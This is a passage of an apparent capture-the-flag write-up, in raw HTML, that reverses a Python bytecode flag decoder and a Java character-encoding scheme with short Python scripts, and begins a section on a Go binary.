number\">248</span> LOAD_CONST               <span class=\"token number\">8</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1006611</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">250</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">252</span> POP_TOP\n\n <span class=\"token number\">30</span>         <span class=\"token number\">254</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">256</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">258</span> LOAD_CONST               <span class=\"token number\">9</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1516111</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">260</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">262</span> POP_TOP\n\n <span class=\"token number\">31</span>         <span class=\"token number\">264</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">266</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">268</span> LOAD_CONST               <span class=\"token number\">9</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1516111</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">270</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">272</span> POP_TOP\n\n <span class=\"token number\">32</span>         <span class=\"token number\">274</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">276</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">278</span> LOAD_CONST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1739411</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">280</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">282</span> POP_TOP\n\n <span class=\"token number\">33</span>         <span class=\"token number\">284</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">286</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">288</span> LOAD_CONST              <span class=\"token number\">14</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1728311</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">290</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">292</span> POP_TOP\n\n <span class=\"token number\">34</span>         <span class=\"token number\">294</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">296</span> LOAD_METHOD              <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>append<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">298</span> LOAD_CONST              <span class=\"token number\">15</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1539421</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">300</span> CALL_METHOD              <span class=\"token number\">1</span>\n            <span class=\"token number\">302</span> POP_TOP\n\n <span class=\"token number\">36</span>         <span class=\"token number\">304</span> LOAD_CONST              <span class=\"token number\">16</span> <span class=\"token punctuation\">(</span><span class=\"token string\">''</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">306</span> STORE_FAST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">37</span>         <span class=\"token number\">308</span> LOAD_FAST                <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">310</span> GET_ITER\n        <span class=\"token operator\">>></span>  <span class=\"token number\">312</span> FOR_ITER                <span class=\"token number\">80</span> <span class=\"token punctuation\">(</span>to <span class=\"token number\">394</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">314</span> STORE_FAST               <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">38</span>         <span class=\"token number\">316</span> LOAD_GLOBAL              <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>str<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">318</span> LOAD_FAST                <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">320</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n            <span class=\"token number\">322</span> LOAD_CONST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>None<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">324</span> LOAD_CONST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>None<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">326</span> LOAD_CONST              <span class=\"token number\">17</span> <span class=\"token punctuation\">(</span>-1<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">328</span> BUILD_SLICE              <span class=\"token number\">3</span>\n            <span class=\"token number\">330</span> BINARY_SUBSCR\n            <span class=\"token number\">332</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">39</span>         <span class=\"token number\">334</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">336</span> LOAD_CONST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>None<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">338</span> LOAD_CONST              <span class=\"token number\">17</span> <span class=\"token punctuation\">(</span>-1<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">340</span> BUILD_SLICE              <span class=\"token number\">2</span>\n            <span class=\"token number\">342</span> BINARY_SUBSCR\n            <span class=\"token number\">344</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">40</span>         <span class=\"token number\">346</span> LOAD_GLOBAL              <span class=\"token number\">2</span> <span class=\"token punctuation\">(</span>int<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">348</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">350</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n            <span class=\"token number\">352</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">41</span>         <span class=\"token number\">354</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">356</span> LOAD_CONST              <span class=\"token number\">18</span> <span class=\"token punctuation\">(</span><span class=\"token number\">5</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">358</span> BINARY_XOR\n            <span class=\"token number\">360</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">42</span>         <span class=\"token number\">362</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">364</span> LOAD_CONST              <span class=\"token number\">19</span> <span class=\"token punctuation\">(</span><span class=\"token number\">55555</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">366</span> BINARY_SUBTRACT\n            <span class=\"token number\">368</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">43</span>         <span class=\"token number\">370</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">372</span> LOAD_CONST              <span class=\"token number\">20</span> <span class=\"token punctuation\">(</span><span class=\"token number\">555</span><span class=\"token punctuation\">)</span>\n            <span class=\"token number\">374</span> BINARY_FLOOR_DIVIDE\n            <span class=\"token number\">376</span> STORE_FAST               <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n <span class=\"token number\">44</span>         <span class=\"token number\">378</span> LOAD_FAST                <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">380</span> LOAD_GLOBAL              <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>chr<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">382</span> LOAD_FAST                <span class=\"token number\">3</span> <span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">384</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n            <span class=\"token number\">386</span> INPLACE_ADD\n            <span class=\"token number\">388</span> STORE_FAST               <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">390</span> EXTENDED_ARG             <span class=\"token number\">1</span>\n            <span class=\"token number\">392</span> JUMP_ABSOLUTE          <span class=\"token number\">312</span>\n\n <span class=\"token number\">45</span>     <span class=\"token operator\">>></span>  <span class=\"token number\">394</span> LOAD_GLOBAL              <span class=\"token number\">4</span> <span class=\"token punctuation\">(</span>print<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">396</span> LOAD_FAST                <span class=\"token number\">1</span> <span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">398</span> CALL_FUNCTION            <span class=\"token number\">1</span>\n            <span class=\"token number\">400</span> POP_TOP\n            <span class=\"token number\">402</span> LOAD_CONST               <span class=\"token number\">0</span> <span class=\"token punctuation\">(</span>None<span class=\"token punctuation\">)</span>\n            <span class=\"token number\">404</span> RETURN_VALUE</code></pre></div>\n<p>Here is the reconstructed Python script.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">a <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1739411</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1762811</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1794011</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1039911</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1061211</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1718321</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1006611</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1516111</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1739411</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1506121</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1783901</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1783901</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1006611</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1561711</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1039911</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1561711</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1582801</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1773911</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1006611</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1516111</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1516111</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1739411</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1728311</span><span class=\"token punctuation\">)</span>\na<span class=\"token punctuation\">.</span>append<span class=\"token punctuation\">(</span><span class=\"token number\">1539421</span><span class=\"token punctuation\">)</span>\nb <span class=\"token operator\">=</span> <span class=\"token string\">''</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> a<span class=\"token punctuation\">:</span>\n    c <span class=\"token operator\">=</span> <span class=\"token builtin\">str</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span>\n    c <span class=\"token operator\">=</span> c<span class=\"token punctuation\">[</span><span class=\"token punctuation\">:</span><span class=\"token operator\">-</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span>\n    c <span class=\"token operator\">=</span> <span class=\"token builtin\">int</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n    c <span class=\"token operator\">=</span> c <span class=\"token operator\">^</span> <span class=\"token number\">5</span>\n    c <span class=\"token operator\">=</span> c <span class=\"token operator\">-</span> <span class=\"token number\">55555</span>\n    c <span class=\"token operator\">=</span> c <span class=\"token operator\">//</span> <span class=\"token number\">555</span>\n    b <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>c<span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span></code></pre></div>\n<p>Running this yields the flag.</p>\n<h3 id=\"jazz\" style=\"position:relative;\"><a href=\"#jazz\" aria-label=\"jazz permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>jazz</h3>\n<p>You are given a JAR file and an encrypted text, so first extract the JAR.</p>\n<div class=\"gatsby-highlight\" data-language=\"bash\"><pre class=\"language-bash\"><code class=\"language-bash\">jar -xvf challenge.jar </code></pre></div>\n<p>That gave me the following Java source code.</p>\n<div class=\"gatsby-highlight\" data-language=\"java\"><pre class=\"language-java\"><code class=\"language-java\"><span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>util<span class=\"token punctuation\">.</span></span><span class=\"token operator\">*</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">import</span> <span class=\"token namespace\">java<span class=\"token punctuation\">.</span>io<span class=\"token punctuation\">.</span></span><span class=\"token operator\">*</span><span class=\"token punctuation\">;</span>\n<span class=\"token keyword\">public</span> <span class=\"token keyword\">class</span> challenge <span class=\"token punctuation\">{</span>\n   <span class=\"token keyword\">public</span> <span class=\"token keyword\">static</span> <span class=\"token keyword\">void</span> <span class=\"token function\">main</span><span class=\"token punctuation\">(</span><span class=\"token class-name\">String</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> args<span class=\"token punctuation\">)</span> <span class=\"token keyword\">throws</span> <span class=\"token class-name\">FileNotFoundException</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token class-name\">Scanner</span> s <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Scanner</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">BufferedReader</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">new</span> <span class=\"token class-name\">FileReader</span><span class=\"token punctuation\">(</span><span class=\"token string\">\"flag.txt\"</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token class-name\">String</span> flag <span class=\"token operator\">=</span> s<span class=\"token punctuation\">.</span><span class=\"token function\">nextLine</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      \n      <span class=\"token keyword\">char</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span> r2 <span class=\"token operator\">=</span> flag<span class=\"token punctuation\">.</span><span class=\"token function\">toCharArray</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token class-name\">String</span> build <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> a <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> a <span class=\"token operator\">&lt;</span> r2<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> a<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">{</span>\n         build <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token number\">158</span> <span class=\"token operator\">-</span> r2<span class=\"token punctuation\">[</span>a<span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      r2 <span class=\"token operator\">=</span> build<span class=\"token punctuation\">.</span><span class=\"token function\">toCharArray</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      build <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span><span class=\"token punctuation\">;</span>\n      <span class=\"token keyword\">for</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">int</span> a <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> <span class=\"token number\">2</span><span class=\"token operator\">*</span>a <span class=\"token operator\">&lt;</span> r2<span class=\"token punctuation\">.</span>length <span class=\"token operator\">-</span> <span class=\"token number\">1</span><span class=\"token punctuation\">;</span> a<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">{</span>\n         build <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token punctuation\">]</span><span class=\"token operator\">-</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">+</span><span class=\"token number\">153</span><span class=\"token punctuation\">)</span><span class=\"token operator\">%</span><span class=\"token number\">93</span><span class=\"token operator\">+</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n         build <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">-</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token punctuation\">]</span><span class=\"token operator\">+</span><span class=\"token number\">93</span><span class=\"token punctuation\">)</span><span class=\"token operator\">%</span><span class=\"token number\">93</span><span class=\"token operator\">+</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token class-name\">System</span><span class=\"token punctuation\">.</span>out<span class=\"token punctuation\">.</span><span class=\"token function\">println</span><span class=\"token punctuation\">(</span>build<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n   <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>The flag is first encrypted with <code class=\"language-text\">(char)(158 - r2[a])</code>, and then encrypted again in pairs of two characters.</p>\n<div class=\"gatsby-highlight\" data-language=\"java\"><pre class=\"language-java\"><code class=\"language-java\">build <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token punctuation\">]</span><span class=\"token operator\">-</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">+</span><span class=\"token number\">153</span><span class=\"token punctuation\">)</span><span class=\"token operator\">%</span><span class=\"token number\">93</span><span class=\"token operator\">+</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\nbuild <span class=\"token operator\">+=</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">char</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token operator\">-</span>r2<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>a<span class=\"token punctuation\">]</span><span class=\"token operator\">+</span><span class=\"token number\">93</span><span class=\"token punctuation\">)</span><span class=\"token operator\">%</span><span class=\"token number\">93</span><span class=\"token operator\">+</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>I wrote a script to reverse this process and recover the flag.</p>\n<p>I identified the part encrypted in two-character pairs by brute-forcing the 128-byte range.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\">enc <span class=\"token operator\">=</span> <span class=\"token triple-quoted-string string\">\"\"\"9xLmMiI2znmPam'D_A_1:RQ;Il\\*7:%i\".R&lt;\"\"\"</span>\n\nbase <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">for</span> i <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token builtin\">len</span><span class=\"token punctuation\">(</span>enc<span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token number\">2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    l <span class=\"token operator\">=</span> enc<span class=\"token punctuation\">[</span>i<span class=\"token punctuation\">]</span>\n    r <span class=\"token operator\">=</span> enc<span class=\"token punctuation\">[</span>i<span class=\"token operator\">+</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span>\n    <span class=\"token keyword\">for</span> a <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">128</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n        <span class=\"token keyword\">for</span> b <span class=\"token keyword\">in</span> <span class=\"token builtin\">range</span><span class=\"token punctuation\">(</span><span class=\"token number\">128</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n            v1 <span class=\"token operator\">=</span> <span class=\"token number\">158</span> <span class=\"token operator\">-</span> a\n            v2 <span class=\"token operator\">=</span> <span class=\"token number\">158</span> <span class=\"token operator\">-</span> b\n            <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token number\">2</span><span class=\"token operator\">*</span>v1<span class=\"token operator\">-</span>v2<span class=\"token operator\">+</span><span class=\"token number\">153</span><span class=\"token punctuation\">)</span><span class=\"token operator\">%</span><span class=\"token number\">93</span><span class=\"token operator\">+</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> l<span class=\"token punctuation\">)</span> <span class=\"token keyword\">and</span> <span class=\"token punctuation\">(</span><span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span>v2<span class=\"token operator\">-</span>v1<span class=\"token operator\">+</span><span class=\"token number\">93</span><span class=\"token punctuation\">)</span><span class=\"token operator\">%</span><span class=\"token number\">93</span><span class=\"token operator\">+</span><span class=\"token number\">33</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">==</span> r<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n                <span class=\"token keyword\">if</span> a <span class=\"token operator\">></span> <span class=\"token number\">33</span> <span class=\"token keyword\">and</span> b <span class=\"token operator\">></span> <span class=\"token number\">33</span><span class=\"token punctuation\">:</span>\n                    base <span class=\"token operator\">+=</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>a<span class=\"token punctuation\">)</span> <span class=\"token operator\">+</span> <span class=\"token builtin\">chr</span><span class=\"token punctuation\">(</span>b<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">print</span><span class=\"token punctuation\">(</span>base<span class=\"token punctuation\">)</span></code></pre></div>\n<p>The challenge itself was easy, but the originally provided ciphertext was corrupted, and even the corrected version still had issues, so it required some guesswork and ended up being oddly exhausting.</p>\n<p>Unfortunately, it only gets one star from me.</p>\n<h3 id=\"gombalab\" style=\"position:relative;\"><a href=\"#gombalab\" aria-label=\"gombalab permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>gombalab</h3>\n<p>This was arguably the hardest challenge for me this time. I could not solve it before the end, so I am writing this while looking at the intended solution.</p>\n<p>The challenge binary appears to be an ELF file built in Go.</p>\n<p>After locating the <code class=\"language-text\">main</code> function, I found that you reach the flag by clearing each phase in order.</p>\n<p><span\n      class=\"gatsby-resp-image-wrapper\"\n      style=\"position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 575px; \"\n    >\n      <a\n    class=\"gatsby-resp-image-link\"\n    